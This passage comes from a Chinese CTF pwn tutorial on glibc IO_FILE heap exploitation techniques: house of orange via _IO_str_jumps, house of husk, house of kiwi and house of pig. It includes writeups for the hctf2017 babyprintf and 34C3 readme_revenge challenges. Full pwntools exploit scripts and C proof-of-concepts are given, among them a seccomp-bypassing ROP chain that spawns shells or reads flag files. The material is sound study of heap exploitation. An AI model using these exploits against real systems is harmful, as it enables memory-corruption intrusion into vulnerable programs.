new_buf + (fp->_wide_data->_IO_read_end - old_buf);
fp->_wide_data->_IO_write_ptr =
new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);

fp->_wide_data->_IO_write_base = new_buf;
fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
}
}

if (!flush_only)
*fp->_wide_data->_IO_write_ptr++ = c;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return c;
}

_IO_wstr_finish

1
2
3
4
5
6
7
8
9
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;

_IO_wdefault_finish (fp, 0);
}

glibc-2.28 防御措施

glibc-2.28 版本中,用操作堆的 malloc 函数和 free 函 数 替 换 原 来 在 _IO_str_fields 里 的 _allocate_buffer_free_buffer 。 由 于 不 再 使 用 偏 移 , 也 就 不 能 利 用 __libc_IO_vtables 上的 vtable 绕过检查,于是新的 FOSP 利用技术 就失效了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
free (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;

_IO_wdefault_finish (fp, 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;

new_buf = malloc (new_size);
...
}
wint_t
_IO_wstr_overflow (FILE *fp, wint_t c)
{
int flush_only = c == WEOF;
...
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
size_t new_size = 2 * old_wblen + 100;

if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;

new_buf = malloc (new_size * sizeof (wchar_t));
...
}

[hctf2017]babyprintf

检查信息

image-20231022173157389

image-20231022173259777

image-20231022172848195

开了 NXCanary,题目 libc2.24 版本。

试运行

image-20231022173559457

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbx
unsigned int v4; // eax

Init(a1, a2, a3);
while ( 1 )
{
__printf_chk(1LL, "size: ");
v4 = read_n();
if ( v4 > 0x1000 )
break;
v3 = malloc(v4);
__printf_chk(1LL, "string: ");
gets(v3);
__printf_chk(1LL, "result: ");
__printf_chk(1LL, v3);
}
puts("too long");
exit(1);
}
unsigned __int64 read_n()
{
__int64 v0; // rbx
__int64 v1; // rbp
char v2; // al
char v4[24]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-20h]

v0 = 0LL;
v5 = __readfsqword(0x28u);
while ( 1 )
{
v1 = (int)v0;
v2 = _IO_getc(stdin);
v4[v0] = v2;
if ( v2 == '\n' )
break;
if ( ++v0 == 9 )
{
if ( v4[9] != '\n' )
return strtoul(v4, 0LL, 0);
v1 = 9LL;
break;
}
}
v4[v1] = 0;
return strtoul(v4, 0LL, 0);
}

由于程序开启了 FORTIFY 机制, 因此在程序编译时所有的 printf() 都被 __printf_chk() 替换掉了,它有如下限制:

  • 包含 %n 的格式化字符串不能位于程序内存中的可写地址。
  • 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用 %7$p,你必须同时使用1,2,3,4,56

先分配 size 大小的空间(不超过0x1000),然后在这里读入字符串,由于使用的是 gets() 函数,存在堆溢出漏洞。然后直接调用__printf_chk() 打印这个字符串,存在栈信息泄露漏洞。

漏洞利用

前置脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
is_debug = True
is_local = True

def connect():
global io, elf, libc
if is_local:
io = process('./babyprintf')
else:
io = remote('192.168.152.130', 10001)
elf = ELF("./babyprintf")
libc = elf.libc

def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
pause()
else:
pass

def prf(size, string):
io.sendlineafter(b"size: ", str(size).encode())
io.sendlineafter(b"string: ", string)

泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
def leak_libc():
global libc_base
payload = b"A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(16, payload)

#gdb.attach(io, 'b *0x400810')
prf(0x1000, b'%p%p%p%p%p%pA') # _int_free in sysmalloc
#pause()
libc_start_main = int(io.recvuntil(b'A', drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)

image-20231023164753642

image-20231023164832351

image-20231023164859904

通过溢出将 top_chunksize 改成 fe1,然后利用申请 0x1000 > 0xfe1 大小的 chunkold_top_chunk 放进 unsorted bin 中,并利用第二次的格式化字符串漏洞泄露 libc 地址。

house of orange

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
vtable_addr = libc_base + 0x3BE4C0 # _IO_str_jumps

log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)

_IO_buf_end = (bin_sh_addr - 100) // 2
stream = p64(0) + p64(0x61) # fake header, fp->_flags, fp->_IO_read_ptr
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffffffffffff) # fp->_IO_write_ptr
stream += p64(0) * 2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64(_IO_buf_end) # fp->_IO_buf_end
stream = stream.ljust(0xc0, b'\x00')
stream += p64(0) # fp->_mode

payload = b'A' * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable # 0xd8
payload += p64(system_addr) # 0xe0
gdb.attach(io, 'b *0x400810')
prf(16, payload)
io.sendline(b"0x1000") # abort routine
pause()

利用堆溢出漏洞构造如下 HeapIO_FILE 结构:

babyprintf

我们需要利用 abort 调用 _IO_OVERFLOW 所以需要 fp->_mode0fp->_IO_write_ptr>_fp->_IO_write_base。然后利用 _IO_str_overflow 函数所以需要绕过以下检查。

  • _IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • _IO_write_ptr = ((bin_sh_addr - 100) // 2) +1 , _IO_write_base = 0x0
  • fp->_s._allocate_buffer(fp+0xe0) 改为 systemone_gadget 地址。

利用 house of orange_IO_list_allvtable 指向 _IO_str_jumps,然后利用 abort 调用 _IO_OVERFLOW->_IO_str_overflow 然后进入我们上面讲的调用流,最后调用 system("/bin/sh\x00")

image-20231023172813846

最后libc 的低 32 位地址为负时,攻击才会成功。

House of husk

glibc >= 2.23

原理

这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大 chunk 时(超过fastbin),存在或可以构造出 UAF 漏洞。printf 函数通过检查 __printf_function_table 是否为空,来判断是否有自定义的格式化字符,若为 printf 类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec] 处的函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int
__register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{
// 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
// 若spec为空,程序则会通过calloc分配两个堆地址来存放
// __printf_arginfo_table和__printf_function_table
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb,通过篡改__printf_arginfo_table__printf_function_table来进行攻击,可以看到当__printf_function_table非空,将会调用printf_positional函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
...
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
...
do_positional:
...
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
...
}
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
...
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
...
extern printf_function **__printf_function_table;
int function_done;

if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr);
...
}
}
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
{
...
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
...
}
  • 泄露 libc 地址。

  • 修改 global_max_fast 为很大的值,可以 large bin attack/unsorted bin attack

  • __printf_function_table 或者 __printf_arginfo_table 覆盖为指向写有 one_gadget 的内存的指针。其中 one_gadget 在内存中的偏移对应与之后触发漏洞的 spec

  • 如果是利用 __printf_function_table 触发漏洞需要让 __printf_arginfo_table 指向一块内存并且该内存对应 spec 偏移处设为 null ,否则会在 __parse_one_specmb 函数的 if 判断中造成不可预知的错误。

  • 最后调用 printf 触发漏洞获取 shell

图解

对于 glibc-2.27 而言:

husk

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
// unsorted bin 泄露 libc
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);

/* prepare fake printf arginfo table */
/* 'X'-2 mean that prev_size | size */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
// now __printf_arginfo_table['X'] = one_gadget;
/*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

image-20231024120231850

[34C3CTF2017]readme_revenge

检查信息

image-20231024113648875

image-20231024113706190

静态编译并且没有去除符号。

试运行

image-20231024113820842

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.text:0000000000400A0D                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D public main
.text:0000000000400A0D main proc near ; DATA XREF: _start+1D↑o
.text:0000000000400A0D
.text:0000000000400A0D var_1020= qword ptr -1020h
.text:0000000000400A0D
.text:0000000000400A0D ; __unwind {
.text:0000000000400A0D 55 push rbp
.text:0000000000400A0E 48 89 E5 mov rbp, rsp
.text:0000000000400A11 48 8D A4 24 E0 EF FF FF lea rsp, [rsp-1020h]
.text:0000000000400A19 48 83 0C 24 00 or [rsp+1020h+var_1020], 0
.text:0000000000400A1E 48 8D A4 24 20 10 00 00 lea rsp, [rsp+1020h]
.text:0000000000400A26 48 8D 35 B3 69 2B 00 lea rsi, name
.text:0000000000400A2D 48 8D 3D 50 C7 08 00 lea rdi, unk_48D184 ;%s
.text:0000000000400A34 B8 00 00 00 00 mov eax, 0
.text:0000000000400A39 E8 22 71 00 00 call __isoc99_scanf
.text:0000000000400A39
.text:0000000000400A3E 48 8D 35 9B 69 2B 00 lea rsi, name
.text:0000000000400A45 48 8D 3D 3B C7 08 00 lea rdi, aHiSBye ; "Hi, %s. Bye.\n"
.text:0000000000400A4C B8 00 00 00 00 mov eax, 0
.text:0000000000400A51 E8 7A 6F 00 00 call printf
.text:0000000000400A51
.text:0000000000400A56 B8 00 00 00 00 mov eax, 0
.text:0000000000400A5B 5D pop rbp
.text:0000000000400A5C C3 retn
.text:0000000000400A5C ; } // starts at 400A0D
.text:0000000000400A5C
.text:0000000000400A5C main endp

image-20231024114633005

存在缓冲区漏洞,向 .bss 节的 name 变量写入内容,然后打印它。并且 flag 位于 .data 节,可以利用 __stack_chk_fail() 将其打印出来。

漏洞利用

利用缓冲区溢出篡改 __printf_function_table 指向一个非零值,因为 %sascii0x73,所以让 __printf_arginfo_table 指向 fake_arginfo_table[0x73*8] == __stack_chk_fail(),将 argv[0] 改为 flag 地址。

image-20231024115056364

image-20231024115137320

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

io = process('./readme_revenge')

flag_addr = 0x6b4040
name_addr = 0x6b73e0
argv_addr = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8

stack_chk_fail = 0x4359b0

payload = p64(flag_addr) # name
payload = payload.ljust(0x73 * 8, b"\x00")
payload += p64(stack_chk_fail) # __printf_arginfo_table[spec->info.spec]
payload = payload.ljust(argv_addr - name_addr, b"\x00")
payload += p64(name_addr) # argv
payload = payload.ljust(func_table - name_addr, b"\x00")
payload += p64(name_addr) # __printf_function_table
payload = payload.ljust(arginfo_table - name_addr, b"\x00")
payload += p64(name_addr) # __printf_arginfo_table

gdb.attach(io, 'b *0x400A4C')
io.sendline(payload)
pause()
io.interactive()

image-20231024115210102

House of Kiwi

glibc < 2.36,这里有一点需要注意,高版本的 glibc_IO_file_jumps 有的是不可写的,所以可以通过 vmmap 来查看此段是否具有可写权限。可以通过 mprotect((void*)(libc_base + 0x215000), 0x2000, PROT_READ | PROT_WRITE); 改写其权限。

原理

有如下调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
((expr) \
? ((void) 0) \
: __malloc_assert (#expr, __FILE__, __LINE__, __func__))

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif

tips:通过large bin chunksizeflag位修改,或者top chunkinuse0等方法可以触发assert

当我们触发 assert 断言时会调用 __malloc_assert__malloc_assert 里有这样一条调用链:fflush->_IO_fflush

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_fflush (_IO_FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}

执行到 result = _IO_SYNC (fp) ? EOF : 0; 时,会调用 _IO_new_file_sync_IO_file_jumps_ 可写。因此将 _IO_file_jumps_ 对应 _IO_new_file_sync 函数指针的位置覆盖为 one_gadget 就可以获取 shell

利用前提:

  1. 能够触发 __malloc_assert
  2. 能够申请到 _IO_file_sync_IO_helper_jumps 这两个位置并且修改。

POC

未开沙箱 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void getshell()
{
system("/bin/sh");
}

size_t libc_base;

int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);

libc_base = ((size_t)setvbuf) - 0x7a4e0;

size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

*((size_t*)_IO_file_sync) = &getshell;

size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE;

malloc(0x1000);

_exit(-1);
}

image-20231025114705128

开了沙箱禁用 execve

对于禁用 execve 的程序需要借助 (setcontext+61) + ropshellcode 进行 orwglibc 2.29之后 setcontext中的 gadget变成了以 rdx 索引,因此还要先通过 ROP控制 RDX的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; setcontext+61
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

tips:注意,内存中有不止一个 _IO_helper_jumps_ ,具体是哪一个要通过调试确定

调用 _IO_new_file_syncrdx 指向的是 _IO_helper_jumps_ 结构,该结构同样可写。因此可以通过修改 _IO_helper_jumps_ 中的内容来给寄存器赋值。还需要设置 rsp 指向提前布置好的 rop 的起始位置,同时设置 rip 指向 ret 指令。最后劫持程序流实现 orw

总体利用思路如下:

  • 利用 large bin attack 改位于 _IO_file_jumps 中的_IO_file_sync指针为 setcontext + 61
  • 修改IO_helper_jumps + 0xA0IO_helper_jumps + 0xA8 分别为可迁移的存放有 rop 的位置和 ret 指令或者 rop 首个指令地址的位置,则可以进行栈迁移

poc

来自 _sky123_老师

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1

size_t libc_base;
size_t ROP[0x30];
char FLAG[] = "./flag\x00";

int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);

libc_base = ((size_t)setvbuf) - 0x7a4e0;

size_t magic_gadget = libc_base + 0x50bd0 + 61; // setcontext + 61

size_t _IO_helper_jumps = libc_base + 0x1f3980; // _IO_helper_jumps

size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
// 设置rsp
*((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP;
// 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)_IO_helper_jumps + 0xA8/8) = ret;
// 设置fflush(stderr)中调用的指令地址
*((size_t*)_IO_file_sync) = magic_gadget;
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
// top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
// 其中有个判断top_chunk的size中inuse位是否存在
*top_size = (*top_size)&0xFFE;

malloc(0x1000); // 触发assert

_exit(-1);
}

image-20231025114912932

glibc-2.36 的执行流

glibc-2.36__malloc_assert 发生重大改变,直接通过系统调用不走 IO,该方法失效。

1
2
3
4
5
6
7
8
9
_Noreturn static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
__libc_message (do_abort, "\
Fatal glibc error: malloc assertion failure in %s: %s\n",
function, assertion);
__builtin_unreachable ();
}

House of pig

原理

再来看一下 _IO_str_overflow 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 覆盖到这里
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 调用malloc
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);// 调用memecpy,覆盖
free (old_buf); // 调用free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
...
}
}

利用流程如下:

  • _IO_buf_base 指向 /bin/sh\x00 地址。
  • 控制_IO_buf_end-_IO_buf_base 的值也就是 new_size 的值,进而控制分配的 chunk 的大小,分配到布局好的地址。
  • 利用 memcpy 中覆盖地址,也就是 malloc 出来的 new_buf, 可以覆盖__malloc_hook/__free_hook
  • 最后调用 free(old_buf) -> system("/bin/sh")

glibc-2.34ptmalloc 取消了各种 hook,但依然可以用 house of pig 实现任意地址写任意值,借助其他手段完成权限获取,后面有时间会做补充。

House of Pig 是一个将 Tcache Statsh Unlink AttackFSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 时。

利用条件为:

  • 存在 UAF
  • 能执行 abort 流程或程序显式调用 exit 或程序能通过主函数返回。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"

#define UNDEFINED "-1"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"

#define STR_END "\033[0m"

void printf_color(char* color, char* effect, char* string){
char buffer[0x1000] = {0};
strcpy(buffer, "\033[");
if(effect[0] != '-'){
strcat(buffer, effect);
strcat(buffer, ";");
}
strcat(buffer, color);
strcat(buffer, "m");
strcat(buffer, string);
printf("%s" STR_END, buffer);
}

int main(){
printf_color(GREEN, UNDEFINED, "今天我们来学习一下house of pig的利用原理。\n");
printf_color(GREEN, UNDEFINED, "house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n");
printf_color(GREEN, UNDEFINED, "首先我们了解一下这种利用方式的基本原理。\n");
